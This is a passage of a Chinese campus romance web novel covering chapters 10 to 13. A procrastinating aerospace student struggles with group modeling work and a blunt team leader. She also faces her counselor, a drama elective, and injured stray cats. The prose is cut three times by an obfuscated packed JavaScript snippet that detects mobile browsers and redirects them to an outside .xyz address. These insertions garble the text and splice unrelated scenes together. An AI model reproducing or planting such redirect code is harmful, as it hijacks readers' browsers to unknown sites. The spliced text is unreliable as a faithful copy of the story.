这一下午被许镌一顿损，气得明瑶去图书馆坐了整整五个小时，直到图书馆闭馆，才将将改完建模。 出门的时候，她没忘把许扒皮的备注改成了死卷。 很巧的是，出门的时候又遇到了祝晚宁，明瑶冲她点点头，算是打了招呼，祝晚宁看起来心情不错，冲她颔首。 两人照旧向相反的方向走去。 还没熄灯前的宿舍堪称群魔乱舞，她小心翼翼地绕过楼门口几对拥吻的情侣，一路上楼。 麻将声，k歌声，电话声，不绝于耳。丝丝缕缕的火锅味不知道从哪间宿舍飘了出来，香气弥漫。 终于到了宿舍门口，明瑶开门，正对上宋时薇对储怡然展示亮闪闪的小包，已经扣满了徽章。 “这么多谷子！”储怡然羡慕。 明瑶也凑过去看了看，想起来英语作业还没写，认命地去了书桌前。 本周的主题写作，要求最少200词。 明瑶点开了topic。 Procrastination（拖延症）。 她开始怀疑最近全世界都在欺负她。 资深咸鱼真情实感地写完了这篇作文之后，已经快到了凌晨。 储怡然急急忙忙地下载了篇AI写的内容，然后急匆匆的手抄了一份，和她一起卡点交上之后，两人不约而同地喘了口气。 “可算交上了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14953980|160949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 储怡然疑惑：“你去图书馆待了那么长间都没写吗？” “我下午没去图书馆。” 储怡然：“？” “下午我们组长让我们小组见个面，讨论小组作业了。” 储怡然惊讶：“小组作业？” “什么小组作业？” 明瑶和宋时薇齐齐一愣。 “工图课安排的小组作业啊。”宋时薇怀疑她有没有去上过课，“你们老师没布置吗？” 她们虽然不是一个老师，但要求肯定都是一样的。 明瑶想起来她前两周是没来的，只不过现在看，应该也没有看群消息。 “我忘了。”储怡然说，“合着你们都开始做了吗？” “有的组还没开始呢。”明瑶建议，“你要不问问还有哪个组要你？” 储怡然用期待的眼神看向两人。 宋时薇一脸无奈：“我俩的组，人都已经满了。” 储怡然认命地瘫在床上，“那算了吧，我不找了。” 明瑶担心的看了她一眼，刚想开口，手被宋时薇拉住了，对她轻轻摇了摇头。 宋时薇：“这门课不找小组，期中可能没成绩啊，别说我没提醒你。” 储怡然捂脸：“我都挂了三科了，我还在乎吗？” “虱子多了不愁，债多不压身。” 宋时薇撇嘴，一副这孩子没救了的表情。 “只不过你们组进展这么快吗？”宋时薇问明瑶，“那个许镌果然是个卷王啊。” 储怡然一愣：“一班的许镌？” 宋时薇轻嗤：“航院还有第二个许镌吗？” 储怡然惊讶，“我靠，许镌的组？这也太——” 她“太”了好几秒，勉强挤出来个“太幸运了。” 明瑶打开电脑，检查了一下修改好的建模，确定已经改完可改之后，发到了大群里。 凌晨时分，许是都休息了，没人回复。 过了一会儿，蒋一昂发了个大拇指过来，乔之淮跟着发了个“牛啤”的表情包。 她起身去洗漱，回来的时候，发现江序南也发了条“不错”。 跟过来的是条公众号转发，明瑶连忙点进去，却发现不是平时的学习资料分享。 《关于我校组织开展第十届全国无人机综合设计大赛（The National UAVprehensive Designpetition）的相关报名通知。》 她忽然想起，下午周钰随口提出的那句NUC，和小组作业对比，这才是他们忙的“重点”。 身为航院的学生，明瑶自然知道这项国际比赛的含金量。 航模几大赛之一，是十多年前低空经济的概念提出后，由国家级部门出面组织的比赛，专注于无人机领域，团队赛为主。 奖金高是其次，最重要的是行业认可度极高，即使对华大学生来说，写在简历里也是能让人更高看一眼的存在，所以每年参赛的学生都是各大高校航院里的尖子。 校赛开始到国赛，赛程历时近一年，最后拿奖的基本上都是顶尖大学的飞设生。 自然也包括她的大学。 这学期开始，刘老头不止一次在课上提过这次比赛，看来许镌他们是要组队参加NUC吧。 储怡然忽然拍了一下她的肩。 “看什么呢？” 说着，就看向她的屏幕。 储怡然一愣：“NUC？你看这个干吗？” 是啊。 她看这个干什么。 明瑶再点回群里，发现这条消息被撤回了。 - 深夜时分，储怡然的床位发出阵阵嬉笑，床帘缝隙透出了一些光。 对面的宋时薇位置上已经发出了轻微的鼾声。 明瑶漫无目的地刷着手机，每天睡觉前临幸一遍各大App已经成了习惯，此刻她却什么都看不下去。 再反应过来，她的目光又落在刚才打开的界面上，看NUC的报名要求。 回过神来，她愣了一下，按灭屏幕的瞬间，手机震动了一声。 是乔之淮发来的消息。 乔之淮：【明瑶，老许今天不是吃那个你啊，千万别往心里去。】 明瑶连忙回复：【没事的。】 乔之淮：【我看他一直开电脑码字呢，估计是给他你写建议呢，他这个人嘴硬心软。】 明瑶一愣，忽然对自己偷偷许愿他的猫猫会在家里随地拉屎，让他天天捡屎，对他来说有点过分。 过了一会儿，手机震动了一下，她连忙点开。 发来的一份文档，发送人死卷。 明瑶连忙发了饱含她感激的“谢谢”过去，然后一脸喜悦的点开。 【[拖延症最最新版问卷调查]】 死卷：【不客气。】 11. 拖延第十一天 都说人一到深夜，就容易冲动。 这一刻，明瑶想去刀人的愤怒已经到达了顶峰。 屏幕那头的人浑然不知，还不忘要求。 死卷：【最晚明早七点。】 明瑶看了一下时间，现在北京时间深夜11点55分，离许扒皮的要求时间还剩7个小时零五分。 也就是说，她不仅要改好自己的小组作业，还要填完了他发过来的四百道的调查问卷，外加他要求的剖析的生活上的拖延习惯，不少于三千字。 在这七个小时零五分之内。 哦，不，现在只剩七个小时零四分了。 她觉得自己有必要和他声明一下，虽然她是他的组员，也是她主动要求协助许镌完成他的小论文，也不代表自己这个被调查者兼组员每天要24小时无间断的完成他的限时任务，她又不是他的奴隶。 否则他就得寸进尺了。 明瑶思忖片刻，随即皱眉一脸严肃的戳着屏幕，回复。 日月：【好的。】 死卷：【嗯。】 下一秒，她看着那个“嗯”，翻了个身，气得冲着头顶的天花板一顿猛蹬。 下来上厕所的储怡然忽然被吓了一跳：“抽筋了？” “嗯......” 她认命地点开调查问卷，大致的看了一眼，刚打算开始填回答的时候，那边居然又发来一条信息。 死卷：【建模还没改好？】 他把她当千手观音了吗？ 明瑶生无可恋的回复：【还没。】 然后忍住拉黑他的冲动，继续填表。 刚消停了十几秒，手机又震动了一声。 死卷：【太慢。】 明瑶忍无可忍了：【建议比较乱，很多建议的方向都不一致。】 忍了太久了，所以她越敲越起劲：【我不能符合所有人的要求，只能汇总一下，找出一个共通的思路，再重新弄。】 日月：【我需要一点时间。】 她还没有说的是，其实今天大家七嘴八舌提的意见都太笼统，或者说是提了跟没提一样，除了蒋一昂提的意见还有参考性之外，其他人可能是顾及她是新来的，所以不好意思提。 也可能是......懒得提。 就像高中时代做惯了导数压轴题的学霸，忽然有个学生直愣愣问他选择第一问的集合怎么写。 估计心里总会无语一下，不知道怎么教。 她不好意思再去麻烦他们，只好闷着头自己琢磨。 过了一会儿，那边又发过来个字。 死卷：【嗯。】 明瑶的内心已经毫无波澜了：【我会尽量快点的。】 那边又发了个“嗯”过来。 明瑶怀疑他把“嗯”设成自动回复了。 她把手机开了儿童防沉迷方式，认真填完了问卷，再写完了自己这段时间“快递拖了五天没取”“手机闹钟响了十八次才起”“作业永远卡点交”“列的计划永远都打算明天再做”的忏悔书后，已经到了凌晨两点。 她困得打了个哈欠，准备一股脑的发给许镌。 给手机解锁，她才发现某人一小时前发来了份文档，明瑶忍无可忍了，决定要是超过一百题就明天做。 点开一看，愣住了。 “建议”。 标题简单明了，字数却不少，洋洋洒洒几千字，后面还附了参考资料。 没有一句废话，平铺直叙，干脆利落，也不故作高深。 这份文档直截了当的指出了她现在存在的问题，和改进的方法，语气平和温柔的甚至让她很难和许镌联系在一起。 跟过来的还有两条他的消息。 都是语音。 她连忙戴上耳机，点开。 声音经过耳机传过来，清落纯正，可又带着一点随性的沙哑。 “建议。” 明瑶满怀感激地点开了第二条语音。 “知道你脑子不好，平时不懂就吱声。” “……” - 翌日清晨，按照许镌的建议改完建模的明瑶整理好文件，把命名改“建模部分最最最终版”后发到了群里。 清晨时间，四点五十，群里自然没有一个人回复。 明瑶上了个厕所，轻手轻脚地收起床上桌，礼节性地在睡前刷了一下短视频，大数据监控的还很及时，视频里的方脸大叔一脸激情讲述自己的励志故事“努力吧少年，当你学习时，阿拉斯加的鳕鱼正跃出水面.....” “你见过凌晨四点的太阳吗？” 明瑶抬头往外瞅了一眼。 今天好像阴天。 励志的语录在她耳朵里滔滔不绝，她听的是昏昏欲睡。 简直不是睡过去，而是昏过去的。 只是这个梦也不安生，梦里她梦见被许镌放了只大猫追她，说这样就可以治疗她的拖延症。 老虎在前面追，后面许镌拿着计时器，计算她的奔跑速度。 被电话震醒的那刻，明瑶迷糊之间做了个起跑动作。 “你睡着的时候叫得好吓人。”宋时薇说，“梦见鬼了？” 明瑶摇摇头，强打着精神睁开眼睛。 是专业大群发的通知，院里抽人参加讲座，她不幸中奖。 因为没扣1，学委直接把电话打她这里来了。 下午一点，还有两个小时。 明瑶回了个“收到”，立刻闭上眼，抓紧时间再补会儿觉。 感觉就闭了十分钟眼睛，再睁眼，明瑶在床上找了十分钟袜子，然后看了一眼手机。 三点了。 她这次跑的比梦里被老虎追还快。 赶到会场，屁/股还没做热，听到上面的老教授慷慨激昂的来了句“我们的征途是星辰大海！” 结束词一出，全场热烈鼓掌。 明瑶一边鼓掌一边得知负责签到的学委已经走了的消息，鼓掌的节奏变得悲伤。 更让她悲伤的是，辅导员刚才发消息，让她来办公室一趟。 华大就这点不好，对学生管的太宽，讲座和志愿不去，都会扣导员的绩效。 刚她在群里看到辅导员无能狂怒，说整个航院就俩人没去讲座，问他们是不是对他有意见。 作为俩人之一，明瑶很不幸地被她约见到了办公室。 说实话，作为差学生，她和导员贾臻见面的次数很少，除了连挂两科那次他例行公事把她叫到办公室之外，平时两人毫无交集。 比较他身为航院导员的小头儿，他坐享独立办公室，也算是年轻有为了，听说过两年要升分管领导了，平时花在别的地方的心思多一些，自然懒得管他们。 所以两人交流的次数远远比不上她的导师刘老头。 贾臻的脸色比上次难看多了，连“最近怎么样”“专业课跟的上吗”“你感觉学院的氛围如何”这种套话都不说了，直接进入主题。 “为什么没去讲座？” “对不起，老师。”明瑶老实道歉：“我昨晚熬夜写作业，所以睡过了，下次绝对不会犯这种低级错误了。” 他哼了一声，端起茶杯，慢条斯理地喝了一口：“熬夜写作业？” “你那成绩，还熬夜写作业？” 她抿了抿嘴，没说话。 有人敲门，送了一份文件进来，他接过来，开始交代细节，把她晾在一边。 她看天，看云，看了良久，腿快站酸了，才听到他点了她的名字。 “明瑶。”贾臻看她一眼，随即又把视线放到了电脑上，“我记得你的高考入学成绩在咱们系至少排中上，怎么现在就成了这副德行了？” 明瑶攥紧了衣角，没说话。 “你是对我有意见吗？” 明瑶听着他这话，觉得还不如直接骂他。 “不是的。” “那你是对学校有意见？” “没有。” “实话实话。”贾臻看她的样子，有些无奈，“我看不到你对这个专业的任何热爱。” “每天浑浑噩噩，现在讲座你也不去，下一步打算干什么？旷课？” 她明白他说的都是对的，却不知道该怎么回答，干脆静默无声。 “我不是你的导师，对你的了解不多，要求也不高，顺利毕业，别给我惹事，今天这是第一次，也只能是最后一次。” ”记住了吗？“ “记住了。” 贾臻脸上依旧没有表情，她也不知道他是不是还在生气。 “你把许镌叫进来。” 明瑶一愣：“许镌不在。” 贾臻脸上终于有表情了：“他人呢？” 明瑶真不知道。 贾臻揉了揉太阳穴，“你告诉他，再不过来，以后他那猫就不许在宿舍养了。” 明瑶虽然不明白为什么他不直接和许镌说，但还是发了条信息转告了。 死卷：【让他滚。】 贾臻：“他说什么时候来？” “他说马上来。” － 许镌收到明瑶发来的消息的时候，正在和乔之淮在家里研究重大项目。 打印一个3D猫窝。 俩人从小就在一个地方长大，家境差不多，爱好差不多，乔之淮自认为长相也差不多，互相都认识。 只是许镌从小就是别人家的孩子，他爹妈老让他向许镌学习，弄得几岁的小孩就有了逆反心理，有次放学之后找许镌单挑，结果他一个三年级的一米六壮汉被一个二年级的小孩儿胖揍一顿。 这顿给他揍服了，他愿赌服输做了许镌的小弟，后来发现许镌这人挺牛的，就是朋友不多，有点孤，但对他这个朋友挺够意思，帮他打过几茬硬架。 久而久之，两人就黏糊在一起了，或者说，他单方面黏糊许镌。 第一年高考考的稀烂，这厮声称要和许镌上同一个大学，三天打鱼两天晒网地复读了一年，多亏许镌时不时地带着他复习，才勉强蹭到了个华大分数线的边，差几分就险些调剂到护理系了。 所以说，别人都说他乔之淮扒着许镌，其实他心里都骂别人懂个屁，他是自愿被折腾的，说实话，还挺幸福的。 乔之淮一边跟着他折腾，一边忍不住吐槽，说他这猫娇贵，吃穿用度比人都精细，哪是只猫啊，简直就是猫祖宗。 许镌压根没抬头，直接踹他一脚：“这是猫孙子，祖宗早死了。” “按你这照顾法，不得伺候这猫祖祖辈辈啊，终身猫奴。” “你知道。”许镌抬头，淡淡瞥了他一眼：“这不仅仅是只是猫。” 乔之淮一愣，不说话了。 他只是隐约知道，许镌他妈生前很爱那只猫。 后来他从那家什么都没带走，就带走了这只猫，猫奶奶死了就养猫女儿，猫女儿死了，现在这只是猫孙子。 他摸了摸鼻子，意识到自己不该提这茬，咳嗽了一声，连忙转移话题。 “我和你说个事啊。”乔之淮神秘兮兮的，“我有个推测。” “有屁就放。” 乔之淮咳嗽了一声，自己开始有点不好意思，“明瑶那个什么……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“NUC快开始了，你有什么想法？组队名单想好了吗？我这里有几个推荐的学生——” 许镌截住他的话：“我不收废物。” 贾臻无可奈何，“人家江序南来找我了，说要自己拉一组，你确定你的组人够？” “我有备选。” “你这性格什么时候能改改。”贾臻气到没脾气了，“你不能只用熟人，也要和其他的同学多相处，有同学私下和我反应过，你平时不太尊重同学。” “江序南还说什么了？” “他还说——”贾臻被他带沟里了，“不是他是说的！” “总而言之。”贾臻叹了口气，“你很优秀，可以算是天才，但华大最不缺的就是天才，你太傲气，太傲了就容易出事，你明白吗？” 许镌在沙发上翘着二郎腿点点头：“明白。” 贾臻：“......” “回去吧，好好准备比赛。”贾臻说。 许镌起身就走。 “替我向你外祖父问好。” 闻言，他的身影停顿了一下。 “知道了。” 当晚，明瑶的最最新版建模得到了大家的认可，终于定稿，只是某位高冷的大神依旧啥也没说。 明瑶翻了翻聊天记录，发现这人就几乎没在大群说过话，就算有人@也根本不搭理，唯一几次还是让乔之淮代为转达的。 还耍大牌。 弄的每次明瑶都要私戳他，问他有什么意见。 今天也是。 辛辛苦苦一晚上，终于换回来许老师的很宝贵的两个字。 【死卷】：还行。 明瑶盯着这个还行乐呵了半天。 直到宋时薇扭头看她，又开始逼问她是不是谈恋爱了。 明瑶一边坚决否定，一边忍不住问他，【贾老师他没怎么骂你吧？】 【死卷】：骂了，很难听。 明瑶一愣，礼貌性的发了个摸摸头的表情包过去。 日月:【他还说什么了吗？】 死卷：【让我转告你，学校以后严查考勤，小心。】 明瑶连忙回他：【谢谢，你也小心。】 有他这句话，明瑶提醒完宿舍其他几个人，当晚又多设了几个闹钟，本来打算逃掉的几节水课也不敢逃了。 第二天老老实实上了两节水课，听老师激情四射地讲奋斗史，最后连创新就业指导都没敢逃。 下午的戏剧选修课，作为课代表，她特地早早地就来了，坐在座位上帮老师擦了黑板。 上课铃响，最后一拨学生狂奔入场。 这节课是戏剧概述，不用坐在一起讨论，明瑶就选了个墙角视觉盲区。 老头很认真，拿了花名册，让明瑶过来点名。 “张潇。” “到。” “吴庚思。” “到。” “赵龙然。” “到。” 明瑶很用心，边点边记长相，和人名对上。 “许镌。” “到。” 闷闷的一声，很细又温暾。 明瑶一愣，抬头。 对了那人狗狗窸窣的目光，戴着口罩不敢直视她。 还找了代课。 这死骗子。 明瑶面无表情地把笔尖停留在许镌的名字后面。 12. 拖延第十二天 “哦？！”羊毛卷有印象，“这位同学的观后感写得非常好！希望你再接再厉！以后多写点你对话剧的见解啊，给同学们做个榜样。” “包括课代表。” 明瑶手里的笔快被她掰折了。 “我没想到本人还这么……”他看向坐在那里的鸵鸟，这么着半天，终于憋出一句。 “这么腼腆。” 明瑶看着头都快低到桌兜里的蒋一昂，叹了口气，最终决定还是放他俩一马。 人家蒋一昂又没得罪她。 明瑶点完名，她下来的时候，特地挪了个座位，挪到了蒋一昂旁边，主动打了个招呼，“嗨。” 蒋一昂还是那副老老实实的乖学生样，回应她的时候，小声却又一本正经：“你好。” “谢谢你。” “没事。”明瑶有点好奇：“他干什么去了？” 她怀疑自己接下来的十五周都要和蒋一昂一块上选修了。 “准备生日party。”蒋一昂说，“提前去看场地了。” 明瑶点点头，忽然觉得不对劲。 她之前看过乔之淮朋友圈，上个月许镌生日刚过。 卷王就是卷王，生日都比别人过得勤。 还是—— “乔之淮过生日吗？” “不是。”蒋一昂摇摇头，“quick过生日。” 明瑶：“？” “说是一岁，成人礼，要大操大办。” 够重视的。 台上的羊毛卷打开了年龄不低于她的祖传PPT，声情并茂地开始朗诵戏剧的概念，戏剧的历史，戏剧的分类…… 早八的课上，枯燥的内容，配着他软绵绵的绵羊音，听的所有人开始昏昏欲睡，又迫于他命令明瑶“记名扣分”的淫威，只能强撑着精神。 明瑶趴了一会儿，发现这位代课比正主还认真。 他很快从包里掏出电脑，明瑶以为他是做别的科作业，结果看了一眼，发现他在记笔记。 身为课代表正在偷偷玩手机摸鱼的明瑶：“……” “那个……” 蒋一昂反应很快，立刻转头。 “这些不用记笔记，老师课后会发PPT到群里。” 蒋一昂点点头：“谢谢。” 随即继续坐在座位上，一脸认真地听着羊毛卷讲述“如何学习戏剧话剧”。 他坐得端正，弄得她都不好意思瘫着了，“你对戏剧感兴趣？” “不是。”蒋一昂说，“就是觉得有意思，老师说的这些话剧和电影我都没看过，很新鲜。” 明瑶愣了一下，随即点了点头，不再打扰他了。 她中间迷瞪了一会儿，再醒过来是被蒋一昂轻轻拍醒的。 “老师让填表。” 明瑶揉了揉眼睛，看到羊毛卷正拿着手机，催促：“先到先得啊。” 他在群里发了个在线文档，写了十来个话剧名，又要分小组表演。 她大致地看了一眼，都是些老掉牙的经典话剧，诸如《罗密欧与朱丽叶》《简·爱》《傲慢与偏见》之类爱情主题的，也有《四世同堂》《茶馆》这种偏向世俗生活的，也有狗血的《哈姆雷特》和《雷雨》。 刚看完的功夫，好几个后面就显示“正在填写”了。 抢手的都是爱情题材的，布景简单，台词好记，关键是造型好看。 后面的话剧好多都得打扮得灰头土脸的，谁愿意演。 她选择恐惧症犯了，犹豫半天，看《简·爱》的女主还没人填B角（替补），打算选这个。 忽然有人轻轻戳她肩膀。 “许镌怎么办？” “你随便给他报一个。” “那不好吧？” “那你问问他。” 蒋一昂点点头。 明瑶再看手机，简的B角已经名花有主了。 她叹了口气，只好在后面几个里面退而求其选了《雷雨》。 只剩疯女人繁漪和鲁侍萍了，这两个她谁也不想演。 “那个……” 明瑶烦躁回头：“干嘛？” “许镌说你是课代表，让你帮他选。” “……”明瑶无奈，“选谁？” “他说随便，戏份少，配角就行。” 接过蒋一昂的手机，她发现鲁侍萍也被占上了。 挺合适的，他快把她折腾疯了。 她在繁漪后面填上了自己的名字。 正好《雷雨》还差一人，她觉得算符合“戏份少”的要求，就顺手填上了，手机还给蒋一昂。 “词少吗？” 明瑶认真点头：“很少。” “你就告诉他，是一个很帅的角色，老板身边的大秘书，得力助手，运筹帷幄很有魅力，很有风度的那种。” 蒋一昂连忙道谢，道得她心里发虚。 这种心虚劲一直伴随着晚上回宿舍，《雷雨》的组长是个很高效率的学生，说他整理好了人物小传，建议大家拉个群，互相拉一下人。 明瑶刷了颗牙的功夫，不知道谁把许镌拉进来了。 并且群管理员还帮他很贴心地改了备注。 “B狗腿子鲁贵” ＠B狗腿子鲁贵：【欢迎，记得看人物小传。】 没回复。 ＠B狗腿子鲁贵：【收到回复一声。】 ＠B狗腿子鲁贵：【抓紧时间哦。】 A憨厚鲁大海：【可能睡了没看到。】 明瑶倒是看了眼他的人物小传，第一眼就看到了关键词概括：狗腿子奴才相猥琐欺软怕硬…… 还挺形象的哈。 鼻尖一痒，她打了个喷嚏。 宋时薇问她：“冷吗？关会儿空调。” “不冷。” 明瑶把自己的人物小传转存到了文件助手里，打算明天再看具体台词。 赶在截止时间之前提交了物理作业之后，已经到了深夜。 明瑶在半梦半醒之间，忽然感觉手机震动了一下，强迫自己睁眼瞅了一下。 死卷：【你选的？】 明瑶眯着眼睛在被窝里回复，【戏份很少呀，还是配角，完全符合你的要求。】 几秒后，聊天框里蹦出一条截图，配角表，几十个名字。 死卷：【这么多中选了个这么好的给我。】 明瑶理直气壮：【你回得太晚了，好的大家都抢完了，谁让翘课呢？】 日月：【为了给你选，我自己想选的角色都没选上。】 日月：【是你说随便选的，真随便了你又不高兴。】 日月：【费劲帮你选角色，连句谢谢都没有。】 她也就在网上敢这么横了。 她看着聊天框顶端的“对方正在输入”显示了半天，最终就憋出来俩字。 死卷：【谢谢。】 明瑶想象到屏幕对面那人现在有气没处撒的德行，就没忍住。 缺德地笑出了声。 － 乐极容易生悲。 翌日早晨，明瑶看到乔之淮在群里发了条信息，说他传许镌大人的话，明瑶和他合作的建模有个部位还有点小问题需要修改的时候，顿时感觉天都塌了。 确认之前她一直怀疑是许镌公报私仇，早不说晚不说，非要今天说。 可惜她没有证据。 细节真的有点小问题，只是之前她和乔之谁都没注意到，后面的那组拿到建模上手后才发现的。 不然就影响后面的那三个人的进度，而乔之淮今天满课没时间，所以只能她一个负责在今晚之前干出来。 她合理怀疑这是她昨天作恶的报应。 路上买了个热狗她吃了就去图书馆了，在图书馆奋战了十几个小时，终于干出来发过去了，回去明瑶澡都没洗，直接倒头就睡。 之后的几天，事都赶到一块堆了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14953982|160949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 拖到没法再拖的事情拖无可拖，线代老师要查笔记和习题册，物理实验要交小报告，选修课帮她自己和许镌写的本周观后感，还有《雷雨》小组见面会。 许镌大爷自然不会去的，由她记录向他传达会议精神。 组长是文学系的女孩子，留着光头戴着耳钉，很有个性，听着明瑶剖析自己的角色，觉得她这个课代表很有悟性，非让她当编剧，帮忙稍微改改剧本，帮帮她的忙。 明瑶一推辞，她就死死抱住明瑶，请求的目光看得她心软，只好答应。 然后她每天坐在图书馆的时间就更长了。 每次闭馆之前站起，她的浑身都疼得不行，尤其是屁股，后来就不疼了，只觉得麻了，第二天疼。 和宋时薇说，宋时薇初步诊断，她的屁股死掉了。 明瑶每次去图书馆的时候，都为她的屁股哀悼一分钟，然后待到闭馆。 闭馆时分，从图书馆出来的学生，怨气比鬼重。 翘了一下午二郎腿，刚起来腿麻，明瑶扶着墙边，那腿哆哆嗦嗦，步履蹒跚，路边人看她的眼神，带着惊讶与敬佩。 明瑶干脆不走了，给手机解锁，靠在墙边打算缓会，依次临幸了每个APP，回复了储怡然给她带饭的消息之后，又顺手刷了刷专业群。 贾臻转发：【院里消息，最近学校多了不少流浪猫和流浪狗，不要多管闲事去喂，已经有好多学生被咬了，那些猫狗来源不清，有没有狂犬病都不知道！！！】 贾臻：【[照片]这几只，尤其注意，见谁要谁的疯猫。】 明瑶看了几眼，感觉挺眼熟，是宿舍楼附近的常客。 猫一般不伤人，除非你故意欺负它。 她往下想看看有没有什么活动通知，肩膀忽然被人拍了一下。 “你怎么了？”是祝晚宁。 “低血糖犯了？” 这段时间常来图书馆，两个人的关系也就渐渐熟稔起来。 说着，她就从包里翻出一根火腿肠出来。 “不用啦。”明瑶说，“我就是腿麻。” 她以为她是不好意思要，执意继续包里翻东西，她的包像哆啦A梦的口袋，一下掏出来鱼肠、水果干、鸡胸肉，牛肉干，甚至还有小鱼干。 明瑶目瞪口呆。 祝晚宁坚持让她吃，她只好吃了一个，然后扶着墙站起来，做了一个高抬腿，以此表示自己已经活动自如了。 祝晚宁见状，才放过她。 明瑶好奇：“你怎么随身带这么多吃的？” 还都那么有特色…… “零食？”祝晚宁一愣，回答，“我喂猫的。” 刚被喂了的明瑶：“？” 看着明瑶一脸蒙的眼神，祝晚宁冲她招招手，给她指了个方向。 不远处的小亭子，她和她一起过去，才发现那里有两只被贾臻全院通缉的小猫，浑身脏兮兮的，带着伤。 其中一只看着还不太严重，就是另一只—— 明瑶看到它腿上已经开始腐烂的伤口。 “也不知道谁这么缺德，我晚上出来散步就看见了，你看给这猫打的。”祝晚宁说，“你有空吗？有空明天陪我带它们去看病吧。” “然后就带回来，藏在亭子边，定期过给它们喂吃的。” 明瑶点了点头。 片刻，又摇摇头。 “要是回来它们又被打了呢？”明瑶说，“得找个接触不到坏人的地方把它们安置起来。” “你家方便吗？” 祝晚宁一愣，表情有些为难，“我小姨家——” 明瑶明白了。 “没事，先回去睡吧，明天咱们去医院。”明瑶安慰她，“我回去想办法。” “真有办法吗？“祝晚宁问她，“还是有朋友是华城本地的？” “有戏吗？” “可能有。” 如果他不记仇的话。 13. 拖延第十三天 祝晚宁听出了她语气中的拿不准，于是提出回家和小姨商量商量，看能不能养一只在家里也行。 明瑶估计她小姨不会同意，强行送过去，没过多久祝晚宁小姨要弃养，那这些猫就得继续流浪。 网上发帖也不靠谱，互联网时代，她不能确定对面是人是鬼，随便送过去，可能还会害了这两只猫。 可能校园墙会好一点，但也许不会好到哪里去。 她听说有一些学生只能偷偷养在宿舍，如果被宿管发现只能被迫弃养掉它们。 还是得找个长久的去处。 学校附近的那家猫咖无疑是最好的选择，先在医院住院养养病，打了疫苗，去猫咖，去那里也算是让它们自力更生了。 起码不会被弃养，或者受欺负。 但她最近也有一段时间去猫猫之家了。 她清楚猫猫之家许镌应该不是猫猫之家的老板，但看他对老板的态度，应该关系很好。 至少是不输乔之淮那种关系的哥们儿。 明瑶回来的一路上都在措辞，毕竟她昨天刚得罪了许镌，尽管目前来看他应该不是很记仇。 她给这两只猫编了几个听起来充满悲情的成长故事，打算回去和宋时薇模拟演练一下，看能不能打动许镌。 不巧的是宋时薇不在宿舍。 明瑶只好问储怡然：“然然，如果现在有两只猫，因为身体不好被好几个主人都弃养了，而且因为长得丑还被其他猫霸凌，你愿意——” “我愿意！”储怡然受不了了，上来翻她书包，“快抱出来！这也太可怜了！” 翻了一遍她的包却一无所获的储怡然：“猫呢？” “我是说如果——”明瑶摸摸鼻子，“不是真的。” 储怡然脸上写满了无语：“你不编故事真是可惜了。” “我有一个朋友，想在家里养猫。” 储怡然明白了：“怕家长不同意？说谎让她家长心软是吧？” “对！” 储怡然见没有小猫撸，转身像只树懒一样慢悠悠地爬上了床，“我就知道。” “那你觉得这么说她家长能答应吗？” “你都说得这么惨了。”储怡然拿起平板开始看综艺，“就算铁石心肠都得答应了。” 明瑶点点头，又在心里简单地措了一下辞，点开了她和许镌的聊天记录。 还留在许镌那一句“谢谢”那里，明瑶猜他当时应该是黑着脸发过来的。 明瑶决定简单地和他先寒暄一下，发了个【组长，晚上好】过去。 对面压根没回。 学习呢？ 她边等他回他，边打开朋友圈，从下往上一划拉，不管看不看，挨个点赞。 乔之淮发了套九宫格，看起来像是在外面玩，很豪华的套间，布局看起来和一般的高档酒店不太一样，中间的香槟塔高高堆起，豪奢中透着股土大款的感觉。 明瑶迅速地点了个赞，雨露均沾的点完赞后，本来打算看会儿网剧，看到发现地上的小红点，实在别扭，下意识点开了。 [死卷]点赞了。 明瑶一愣，慢半拍地反应过来，这人故意不回他。 那她就必须找他了。 明瑶执着地戳着屏幕，【在吗？】 日月：【组长，我知道你在。】 她顺手发出一张自嘲小熊的表情包。 [我会一直憋气，憋到你理我为止jpg.] 日月：【作为志愿者，我对你的拖延症调研有一些新的想法，你给我五分钟，我们交流一下。】 点击发送。 红色叹号出现在消息框前。 [X开启了朋友验证，你还不是他（她）的朋友，请先发送朋友验证。] 明瑶把手机举起来意识到这是新买的，又很怂地放下，屏幕熄灭的时候看到自己气到面目全非的脸。 “又看恐怖片呢？”储怡然说，“瞧你那脸色。” 手机震动了一下，她连忙给手机解锁。 祝晚宁：【不行啊，我小姨说我小姨父有哮喘，受不了猫毛。】 明瑶看着屏幕，叹了口气，切了自己的微信小号，搜了一下许镌的微信号，然后发过去一条好友验证。 【你好，我是在自律社公众号上看到的消息，请问还招志愿者吗？我非常愿意报名。】 不行。 她删掉，重新措辞。 【许镌，我是明瑶。我想求你件事，只要你答应我给你当牛作马都行，你知道我今天遇到了两只非常可怜、身世凄惨的……】 删掉。 【许镌，我是明瑶。我今天遇见两只小猫，身上都带伤，很可怜，我想请你帮个忙，我带它们治好伤后，你能问下猫咖老板愿意收留它们吗？只要你愿意帮忙，以后我能帮你写的作业，都包在我身上】 字数不够了。 明瑶看着屏幕沉默片刻，点了发送。 